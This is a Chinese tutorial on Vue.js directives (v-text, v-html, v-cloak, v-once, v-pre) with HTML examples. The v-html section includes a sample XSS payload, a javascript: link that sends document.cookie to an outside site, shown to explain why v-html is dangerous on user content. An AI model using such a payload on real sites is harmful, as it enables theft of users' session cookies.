文章目录
常用的指令
v-bind:单向绑定解析表达式,可简写为:xxxv-model:双向数据绑定v-for:遍历数组/对象/字符串v-on:绑定事件监听,可简写为@v-if:条件渲染（动态控制节点是否存在)v-else:条件渲染（动态控制节点是否存存在)v-show:条件渲染（动态控制节点是否展示)
v-text
v-text指令的作用：向其所在的节点中渲染文本内容。
<!DOCTYPE html>
<html lang="en">
<head>
<title>Document</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>{
{name}}</h2>
<h2 v-text="name"></h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name:"yang"
},
});
</script>
</body>
</html>
- v-text与插值语法的区别:
- v-text会替换掉节点中的内容，{ {xxx}}则不会。
<!DOCTYPE html>
<html lang="en">
<head>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2> 你好，{
{name}}</h2>
<h2 v-text="name"> 你好，</h2>
<div>{
{hello}}</div>
<div v-text ="hello"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name:"yang",
hello:'<h2>hello</h2>'
},
});
</script>
</body>
</html>
3. v-text不会解析html字符串内容，只会当成普通字符串进行解析
v-html
v-html作用
v-html作用向指定节点中渲染包含html结构的内容
与v-text不同的是可以解析html字符串内容。
<!DOCTYPE html>
<html lang="en">
<head>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div v-text ="hello"></div>
<div v-html ="hello"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name:"yang",
hello:'<h2>hello</h2>'
},
});
</script>
</body>
</html>
安全性问题
由于html可以解析html字符串，那么可以通过如下方法将你的cookie信息传递给另一个网站。
eg：
<!DOCTYPE html>
<html lang="en">
<head>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div v-text ="hello"></div>
<div v-html ="hello"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name:"yang",
hello:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>hello,快来看看</a>'
},
});
</script>
</body>
</html>
该段操作直接将你的cookie信息直接给www.baidu.com了。
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上!
##与插值语法的区别:
(1) v-html会替换掉节点中所有的内容，{
{xx}}则不会。
(2) v-html可以识别html结构。
v-cloak
问题产生
js的代码是从上向下执行的，所以如果引入vue.js花费大量时间，那么网页页面就一直停留在未解析的页面，给用户的观感不好。我们希望，要不页面不显示，要是显示就应该是解析好的状态。
两种解决办法：
将引入vue.js的语句放在head标签中
由于js从上向下解析的特性，只要vue.js放在模板html之前就一定会先引入vue.js，再去显示模板html页面，这样就不会出现未解析的页面
使用v-cloak指令
使用css配合v-cloak可以解决该问题，
<!DOCTYPE html>
<html lang="en">
<head>
<style>
[v-cloak]{
display: none;
}
</style>
</head>
<body>
<div id="root">
<div v-cloak>{
{name}}</div>
</div>
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name:"yang",
},
});
</script>
</body>
</html>
v-cloak会在Vue实例创建完毕并接管容器后被删掉，css样式就失效了，页面就能正常显示了。
通过这种方式，实现vue实例创建后才展示页面，就不会未解析页面显示的问题。
总结
v-cloak指令（没有值）:
- 作用：使用
css配合v-cloak可以解决网速慢时页面展示出未解析的页面的问题。 - 原理： v-cloak本质是一个特殊属性，
Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
v-once
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
即通过 v-once可以读取数据的初始值
<!DOCTYPE html>
<html lang="en">
<head>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div v-once>n初始值是{
{n}}</div>
<div>当前的n值是{
{n}}</div>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el:"#root",
data:{
n:1
}
});
</script>
</body>
</html>
v-pre
v-pre指令:
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点，会加快编译。
<!DOCTYPE html>
<html lang="en">
<head>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div v-pre>没有动态值</div>
<div v-pre>当前的n值是{
{n}}</div>
<div>当前的n值是{
{n}}</div>
<button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el:"#root",
data:{
n:1
}
});
</script>
</body>
</html>
